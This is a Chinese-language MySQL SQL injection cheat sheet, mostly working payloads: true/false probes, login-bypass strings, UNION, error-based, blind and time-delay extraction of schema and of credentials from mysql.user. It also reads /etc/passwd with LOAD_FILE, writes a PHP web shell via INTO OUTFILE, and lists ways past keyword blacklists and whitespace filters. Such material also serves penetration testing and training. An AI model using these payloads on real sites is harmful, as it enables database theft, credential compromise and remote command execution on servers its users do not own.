MySql 注入科普

默认存在的数据库

mysql	需要 root 权限读取
information_schema	在 5 以上的版本中存在

测试是否存在注入方法

假：表示查询是错误的 (MySQL 报错/返回页面与原来不同)

真：表示查询是正常的 (返回页面与原来相同)

共三种情况：

字符串类型查询时：		数字类型查询时：		登陆时：
'	假	AND 1	真	' OR '1
''	真	AND 0	假	' OR 1 -- -
"	假	AND true	真	" OR "" = "
""	真	AND false	假	" OR 1 = 1 -- -
\	假	1-false	有问题时返回1的结果	'='
\\	真	1-true	有问题时返回0的结果	'LIKE'
		2-1	返回与1相同代表可能存在问题	'=0--+
		1*56	返回与56相同代表可能存在问题	
		1*56	返回与1相同代表没有问题	

例子:

```
SELECT * FROM Users WHERE id = '1''';
SELECT * FROM Users WHERE id = 3-2;
SELECT * FROM Users WHERE username = 'Mike' AND   password = ''
OR '' = '';
```

可以使用很多单双引号，只要是成对出现。

```
SELECT * FROM Articles WHERE id =  '121''''''''''''
```

引号后的语句会继续执行。

```
SELECT '1''''''" UNION SELECT  '2' # 1 and 2
```

下面的符号可以用来注释语句：

#	Hash 语法
/*	C-style 语法
-- -	SQL 语法
;%00	空字节
`	反引号

例子：

```
SELECT * FROM Users WHERE username = ''  OR 1=1 -- -' AND
password = '';
SELECT * FROM Users WHERE id = '' UNION  SELECT 1, 2, 3`';
```

测试数据库版本

```
VERSION()
@@VERSION
@@GLOBAL.VERSION
```

如果版本为 5 的话，下面例子返回为真：

```
SELECT * FROM Users WHERE id = '1' AND  MID(VERSION(),1,1) = '5';
```

windows 平台上的 mysql 查询与 linux 上返回不同，如果是 windows 服务器返回结果会包含 -nt-log 字符。

数据库认证信息

表	mysql.user
字段	user, password

当前用户	user(), current_user(), current_user, system_user(), session_user()

例子：

```
SELECT current_user;
SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user
WHERE user = 'root'-- (Privileged)
```

数据库名

表	information_schema.schemata, mysql.db
字段	schema_name, db
当前用户	database(), schema()

例子：

```
SELECT database();
SELECT schema_name FROM information_schema.schemata;
SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
```

服务器主机名

```
@@HOSTNAME
```

例子：

```
SELECT @@hostname;
```

1. 表和字段

检测字段数

两种方式：

ORDER BY 判断	ORDER BY n+1; 让 n 一直增加直到出现错误页面。 例子:

	查询语句 SELECT username, password, permission FROM Users WHERE id = '1'; 1' ORDER BY 1--+ 真 1' ORDER BY 2--+ 真 1' ORDER BY 3--+ 真 1' ORDER BY 4--+ 假- 查询只用了 3 个字段 -1' UNION SELECT 1,2,3--+ 真
基于错误查询	AND (SELECT * FROM SOME_EXISTING_TABLE) = 1 注意: 这种方式需要你知道所要查询的表名。 这种报错方式返回表的字段数，而不是错误的查询语句。 例子： 查询语句 SELECT permission FROM Users WHERE id = 1; AND (SELECT * FROM Users) = 1 返回 Users 的字段数

查询表名

Union 方式	UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;-- MySQL 4 版本时用 version=9，MySQL 5 版本时用 version=10
盲注	AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
报错	AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0);

	AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));-- 在 5.1.5 版本中成功。

查询列名

Union 方式	UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
盲注	AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
报错	AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- 在 5.1.5 版本中成功。 AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- MySQL 5.1 版本修复了
利用 PROCEDURE ANALYSE()	这个需要 web 展示页面有你所注入查询的一个字段。 例子: 查询语句 SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE() 获得第一个段名 1 LIMIT 1,1 PROCEDURE ANALYSE() 获得第二个段名 1 LIMIT 2,1 PROCEDURE ANALYSE() 获得第三个段名

一次查询多个表或列

```
SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@)
FROM   (information_schema.columns) WHERE
(table_schema&gt;=@) AND (@)IN   (@:=CONCAT(@,0x0a,'
[ ',table_schema,' ] &gt;',table_name,' &gt;   ',column_name))))x
```

例子：

```
SELECT * FROM Users WHERE id = '-1' UNION SELECT 1,   2, (SELECT
(@) FROM (SELECT(@:=0x00),(SELECT (@)
FROM   (information_schema.columns) WHERE
(table_schema&gt;=@) AND (@)IN   (@:=CONCAT(@,0x0a,'
[ ',table_schema,' ] &gt;',table_name,' &gt;   ',column_name))))x), 4--+';
```

输出结果：

```
[ information_schema ] >CHARACTER_SETS >   CHARACTER_SET_NAME
[   information_schema ] >CHARACTER_SETS >
DEFAULT_COLLATE_NAME
[   information_schema ] >CHARACTER_SETS > DESCRIPTION
[   information_schema ] >CHARACTER_SETS > MAXLEN
[   information_schema ] >COLLATIONS > COLLATION_NAME
[   information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[   information_schema ] >COLLATIONS > ID
[   information_schema ] >COLLATIONS > IS_DEFAULT
[   information_schema ] >COLLATIONS > IS_COMPILED
```

利用代码

```
SELECT MID(GROUP_CONCAT(0x3c62723e,   0x5461626c653a20,
table_name, 0x3c62723e, 0x436f6c756d6e3a20,
column_name   ORDER BY (SELECT version FROM
information_schema.tables) SEPARATOR   0x3c62723e),1,1024) FROM
information_schema.columns
```

例子

```
SELECT username FROM Users WHERE id = '-1' UNION   SELECT
```

```
MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e,  0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM  information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM  information_schema.columns;
```

输出结果

```
Table: talk_revisions
Column: revid

Table: talk_revisions
Column: userid

Table: talk_revisions
Column: user

Table: talk_projects
Column: priority
```

根据列名查询所在的表

SELECT table_name FROM information_schema.columns WHERE column_name = 'username';	查询字段为 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';	查询字段中包含 user 的表

根据表查询包含的字段

SELECT column_name FROM information_schema.columns WHERE table_name = 'Users';	查询 user 表中的字段
SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%';	查询包含 user 字符串表中的字段

绕过引号限制

SELECT * FROM Users WHERE username = 0x61646D696E	Hex 编码
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)	利用 CHAR() 函数

绕过字符串黑名单

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

使用 CONCAT()时，任何个参数为 null，将返回 null， 推荐使用 CONCAT_WS() 。

CONCAT_WS() 函数第一个参数表示用哪个字符间隔所查询的结果。

条件语句

CASE
IF()
IFNULL()
NULLIF()

例子：

```
SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE  false END;
```

时间延迟查询

SLEEP()	MySQL 5
BENCHMARK()	MySQL 4/5

例子：

```
' - (IF(MID(version(),1,1) LIKE 5,  BENCHMARK(100000,SHA1('true')), false)) - '
```

2. 权限

文件权限

下面的语句可以查询用户读写文件操作权限：

SELECT file_priv FROM mysql.user WHERE user = 'username';	需要root用户来执行	MySQL 4/5
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%';	普通用户都可以	MySQL 5

读取文件

如果用户有文件操作权限可以读取文件：

```
LOAD_FILE()
```

例子：

```
SELECT LOAD_FILE('/etc/passwd');
SELECT  LOAD_FILE(0x2F6574632F706173737764);
```

文件必须在服务器上。

LOAD_FILE()函数操作文件的当前目录是@@datadir 。

MySQL 用户必须拥有对此文件读取的权限。

文件大小必须小于 max_allowed_packet。

@@max_allowed_packet 的默认大小是 1047552 字节.

写文件

如果用户有文件操作权限可以写文件。

```
INTO OUTFILE/DUMPFILE
```

写一个 php 的 shell：

```
SELECT '<? system($_GET[\'c\']);  ?>' INTO OUTFILE
'/var/www/shell.php';
```

3. MySql 特有的写法

MySql 中，/*! SQL 语句 */ 这种格式里面的 SQL 语句会当正常的语句一样被解析。

如果在!之后是一串数字(这串数字就是 mysql 数据库的版本号), 如：/*! 12345 SQL 语句 */

当版本号大于等于该数字,SQL 语句则执行,否则就不执行。

```
SELECT  1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
```

4. 模糊和混淆

允许的字符

09	Horizontal Tab

0A	New Line
0B	Vertical Tab
0C	New Page
0D	Carriage Return
A0	Non-breaking Space
20	Space

例子：

```
'%0A%09UNION%0CSELECT%A0NULL%20%23
```

括号也可以用来绕过过滤空格的情况

28	(
29	)

例子：

```
UNION(SELECT(column)FROM(table))
```

AND 或 OR 后面可以跟的字符

20	Space
2B	+
2D	-
7E	~
21	!
40	@

例子：

```
SELECT 1 FROM dual WHERE 1=1   AND-+-+-+-+~~((1))
```

5. 几个针对黑名单绕过的例子

基于关键字的黑名单

过滤关键字	and or
php 代码	preg_match('/(and|or)/i',$id)
会过滤的攻击代码	1 or 1=1 1 and 1=1
绕过方式	1 || 1=1 1 && 1=1

下面这种方式你需要已经知道一些表和字段名（可以利用 substring 函数去一个一个获得 information_schema.columns 表中的数据）

过滤关键字	and or union
php 代码	preg_match('/(and|or|union)/i',$id)
会过滤的攻击代码	union select user,password from users
绕过方式	1 && (select user from users where userid=1)='admin'

过滤关键字	and or union where
php 代码	preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码	1 && (select user from users where user_id = 1) = 'admin'
绕过方式	1 && (select user from users limit 1) = 'admin'

过滤关键字	and or union where
php 代码	preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码	1 && (select user from users where user_id = 1) = 'admin'
绕过方式	1 && (select user from users limit 1) = 'admin'

过滤关键字	and, or, union, where, limit
php 代码	preg_match('/(and|or|union|where|limit)/i', $id)
会过滤的攻击代码	1 && (select user from users limit 1) = 'admin'

绕过方式	1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id 聚合中 user_id 为 1 的 user 为 admin

过滤关键字	and, or, union, where, limit, group by
php 代码	preg_match('/(and|or|union|where|limit|group by)/i', $id)
会过滤的攻击代码	1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式	1 && (select substr(group_concat(user_id),1,1) user from users) = 1

过滤关键字	and, or, union, where, limit, group by, select
php 代码	preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
会过滤的攻击代码	1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式	1 && substr(user,1,1) = 'a'

过滤关键字	and, or, union, where, limit, group by, select, '
php 代码	preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
会过滤的攻击代码	1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式	1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)

过滤关键字	and, or, union, where, limit, group by, select, ', hex
php 代码	preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
会过滤的攻击代码	1 && substr(user,1,1) = unhex(61)
绕过方式	1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的 11 转化为十六进制，并小写。

过滤关键字	and, or, union, where, limit, group by, select, ', hex, substr
php 代码	preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
会过滤的攻击代码	1 && substr(user,1,1) = lower(conv(11,10,16))/td>
绕过方	1 && lpad(user,7,1)

式	

过滤关键字	and, or, union, where, limit, group by, select, ', hex, substr, 空格
php 代码	preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
会过滤的攻击代码	1 && lpad(user,7,1)/td>
绕过方式	1%0b||%0blpad(user,7,1)

过滤关键字	and or union where
php 代码	preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码	1 || (select user from users where user_id = 1) = 'admin'
绕过方式	1 || (select user from users limit 1) = 'admin'

6. 利用正则表达式进行盲注

我们都已经知道，在 MYSQL 5+中 information_schema 库中存储了所有的 库名，表明以及字段名信息。故攻击方式如下：

判断第一个表名的第一个字符是否是 a-z 中的字符,其中 blind_sqli 是假设已知的库名。

```
index.php?id=1 and 1=(SELECT 1 FROM  information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND  table_name REGEXP '^[a-z]' LIMIT 0,1) /*
```

判断第一个字符是否是 a-n 中的字符

```
index.php?id=1 and 1=(SELECT 1 FROM  information_schema.tables  WHERE  TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT  0,1)/*
```

确定该字符为 n

```
index.php?id=1 and 1=(SELECT 1 FROM  information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli"  AND table_name REGEXP '^n' LIMIT 0,1) /*
```

表达式的更换如下

```
'^n[a-z]' -> '^ne[a-z]' ->  '^new[a-z]' -> '^news[a-z]' -> FALSE
```

这时说明表名为 news ，要验证是否是该表明 正则表达式为'^news$'，但是没这必要 直接判断 table_name = 'news' 不就行了。

接下来猜解其它表了 只需要修改 limit 1,1 -> limit 2,1 就可以对接下来的表进行盲注了